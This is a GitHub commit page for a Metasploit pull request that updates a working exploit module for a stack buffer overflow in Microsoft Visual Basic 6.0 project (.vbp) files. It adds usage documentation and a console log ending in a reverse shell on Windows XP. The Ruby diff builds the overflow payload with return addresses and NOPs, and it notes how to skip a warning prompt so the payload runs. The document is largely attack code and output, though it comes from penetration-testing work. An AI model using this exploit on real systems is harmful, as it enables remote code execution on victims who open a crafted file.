Skip to content

Commit be8864f

Browse files
authored
Merge pull request #20339 from bcoles/exploit-windows-fileformat-ms_visual_basic_vbp
exploit/windows/fileformat/ms_visual_basic_vbp: Add offsets, cleanup, document
2 parents 8c2d0f5 + c0baf18 commit be8864f

File tree

2 files changed

+142
-20
lines changed

2 files changed

+142
-20
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
## Vulnerable Application
2+
3+
This module exploits a stack buffer overflow in Microsoft Visual Basic
4+
6.0. A specially crafted Visual Basic Project (VBP) file containing
5+
a long reference line can be used to execute arbitrary code.
6+
7+
This module has been tested successfully on:
8+
9+
* Windows XP Home SP0 (x86) (English)
10+
* Windows XP Professional SP0 (x86) (English)
11+
* Windows XP Professional SP1 (x86-64) (English)
12+
* Windows XP Professional SP2 (x86-64) (English)
13+
* Windows XP Professional SP3 (x86) (English)
14+
15+
## Verification Steps
16+
17+
1. Start msfconsole
18+
1. Do: `use exploit/windows/fileformat/ms_visual_basic_vbp`
19+
1. Do: `set filename [filename.vbp]`
20+
1. Do: `set lhost [lhost]`
21+
1. Do: `set lport [lport]`
22+
1. Do: `set payload windows/shell/reverse_tcp`
23+
1. Do: `run`
24+
1. Do: `use exploit/multi/handler`
25+
1. Do: `set lhost [lhost]`
26+
1. Do: `set lport [lport]`
27+
1. Do: `set payload windows/shell/reverse_tcp`
28+
1. Do: `run -jz`
29+
1. Open `/home/user/.msf4/local/msf.vbp` on a vulnerable system
30+
31+
## Options
32+
33+
### FILENAME
34+
35+
The project file name. (Default: `msf.vbp`).
36+
37+
## Scenarios
38+
39+
### Windows XP SP3 (x86) (English)
40+
41+
```
42+
msf6 > use exploit/windows/fileformat/ms_visual_basic_vbp
43+
[*] Using configured payload windows/shell/reverse_tcp
44+
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > set lhost 192.168.200.130
45+
lhost => 192.168.200.130
46+
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > show targets
47+
48+
Exploit targets:
49+
=================
50+
51+
Id Name
52+
-- ----
53+
=> 0 Windows XP SP0-SP3 (x86) (English)
54+
1 Windows XP SP1-SP2 (x86-64) (English)
55+
56+
57+
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > run
58+
[*] Creating 'msf.vbp' file for Windows XP SP0-SP3 (x86) (English) ...
59+
[+] msf.vbp stored at /home/user/.msf4/local/msf.vbp
60+
msf6 exploit(windows/fileformat/ms_visual_basic_vbp) > use exploit/multi/handler
61+
[*] Using configured payload generic/shell_reverse_tcp
62+
msf6 exploit(multi/handler) > set lhost 192.168.200.130
63+
lhost => 192.168.200.130
64+
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
65+
payload => windows/shell/reverse_tcp
66+
msf6 exploit(multi/handler) > run -jz
67+
[*] Exploit running as background job 0.
68+
[*] Exploit completed, but no session was created.
69+
70+
[*] Started reverse TCP handler on 192.168.200.130:4444
71+
msf6 exploit(multi/handler) > mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp
72+
[*] exec: mv /home/user/.msf4/local/msf.vbp /var/www/html/msf.vbp
73+
74+
msf6 exploit(multi/handler) >
75+
[*] Sending stage (240 bytes) to 192.168.200.173
76+
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1037) at 2025-06-21 08:03:44 -0400
77+
78+
msf6 exploit(multi/handler) > sessions -i 1
79+
[*] Starting interaction with 1...
80+
81+
82+
Shell Banner:
83+
Microsoft Windows XP [Version 5.1.2600]
84+
(C) Copyright 1985-2001 Microsoft Corp.
85+
86+
C:\Documents and Settings\Administrator\Desktop>
87+
```

modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb

Lines changed: 55 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -12,21 +12,28 @@ def initialize(info = {})
1212
super(
1313
update_info(
1414
info,
15-
'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',
15+
'Name' => 'Microsoft Visual Basic VBP Stack Buffer Overflow',
1616
'Description' => %q{
17-
This module exploits a stack buffer overflow in Microsoft Visual
18-
Basic 6.0. When a specially crafted vbp file containing a long
19-
reference line, an attacker may be able to execute arbitrary
20-
code.
17+
This module exploits a stack buffer overflow in Microsoft Visual Basic
18+
6.0. A specially crafted Visual Basic Project (VBP) file containing
19+
a long reference line can be used to execute arbitrary code.
2120
},
2221
'License' => MSF_LICENSE,
23-
'Author' => [ 'MC' ],
22+
'Arch' => [ARCH_X86],
23+
'Author' => [
24+
'Koshi', # Discovery and exploit
25+
'MC', # Metasploit
26+
'bcoles', # Offsets for XP x86-64
27+
],
2428
'References' => [
2529
[ 'CVE', '2007-4776' ],
30+
[ 'CWE', '119' ],
31+
[ 'EDB', '4361' ],
2632
[ 'OSVDB', '36936' ],
2733
[ 'BID', '25629' ]
2834
],
2935
'DefaultOptions' => {
36+
'PAYLOAD' => 'windows/shell/reverse_tcp',
3037
'EXITFUNC' => 'process',
3138
'DisablePayloadHandler' => true
3239
},
@@ -38,38 +45,66 @@ def initialize(info = {})
3845
},
3946
'Platform' => 'win',
4047
'Targets' => [
41-
[ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
48+
[
49+
'Windows XP SP0-SP3 (x86) (English)', {
50+
'Ret' => 0x0fabd271, # call esp ; vba6.dll
51+
'Scratch' => 0x7ffddfb4 # Address=0x7ffdd000; Size=0x1000; Access=RW; InitialAccess=RW
52+
}
53+
],
54+
[
55+
'Windows XP SP1-SP2 (x86-64) (English)', {
56+
'Ret' => 0x0fabd271, # call esp ; vba6.dll
57+
'Scratch' => 0x7efa9010 # Address=0x7efa9000; Size=0x1000; Access=RW; InitialAccess=RW
58+
}
59+
],
4260
],
4361
'Privileged' => false,
4462
'DisclosureDate' => '2007-09-04',
45-
'DefaultTarget' => 0
63+
'DefaultTarget' => 0,
64+
'Notes' => {
65+
'Stability' => [ CRASH_SERVICE_DOWN ],
66+
'SideEffects' => [ ARTIFACTS_ON_DISK ],
67+
'Reliability' => [ UNRELIABLE_SESSION ]
68+
}
4669
)
4770
)
4871

4972
register_options(
5073
[
51-
OptString.new('FILENAME', [ true, 'The file name.', 'msf.vbp']),
74+
OptString.new('FILENAME', [true, 'The project file name.', 'msf.vbp']),
5275
]
5376
)
5477
end
5578

5679
def exploit
57-
sploit = rand_text_alpha_upper(496) + [target.ret].pack('V')
58-
sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
59-
sploit << make_nops(24) + payload.encoded
80+
form_name = "Form#{rand(1..9)}"
81+
82+
sploit = rand_text_alpha_upper(496)
83+
sploit << [target.ret].pack('V')
84+
sploit << rand_text_alpha_upper(12)
85+
sploit << [target['Scratch']].pack('V')
86+
sploit << make_nops(24)
87+
sploit << payload.encoded
6088

6189
vbp = "Type=Exe\r\n"
62-
vbp << "Form=Form2.frm\r\n"
63-
vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
64-
vbp << sploit + "\r\n"
65-
vbp << "Startup=\"Form2\"\r\n"
90+
91+
# We exclude the "Form" field so we don't have to ship a form file (.frm)
92+
# along with the project file (.vbp). If the specified form file is not
93+
# present within the same directory as the project file, the user is warned
94+
# the file does not exist, and is prompted to confirm loading the project.
95+
# Selecting "No" halts loading the project and prevents payload execution.
96+
# vbp << "Form=#{form_name}.frm\r\n"
97+
98+
vbp << 'Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation'
99+
vbp << "#{sploit}\r\n"
100+
vbp << "Startup=\"#{form_name}\"\r\n"
66101
vbp << "Command32=\"\"\r\n"
67-
vbp << "Name=\"Project2\"\r\n"
102+
vbp << "Name=\"Project#{rand(1..9)}\"\r\n"
68103
vbp << "HelpContextID=\"0\"\r\n"
69104
vbp << "CompatibleMode=\"0\"\r\n"
70105
vbp << "MajorVer=1\r\n"
71-
vbp << "MinorVer=0\r\n"
72-
vbp << "RevisionVer=0\r\n"
106+
vbp << "MinorVer=#{rand(1..9)}\r\n"
107+
vbp << "RevisionVer=#{rand(1..9)}\r\n"
73108
vbp << "AutoIncrementVer=0\r\n"
74109
vbp << "ServerSupportFiles=0\r\n"
75110
vbp << "VersionCompanyName=\"\"\r\n"
@@ -91,7 +126,7 @@ def exploit
91126
vbp << "[MS Transaction Server]\r\n"
92127
vbp << "AutoRefresh=1\r\n"
93128

94-
print_status("Creating '#{datastore['FILENAME']}' file ...")
129+
print_status("Creating '#{datastore['FILENAME']}' file for #{target.name} ...")
95130

96131
file_create(vbp)
97132
end

0 commit comments

Comments
 (0)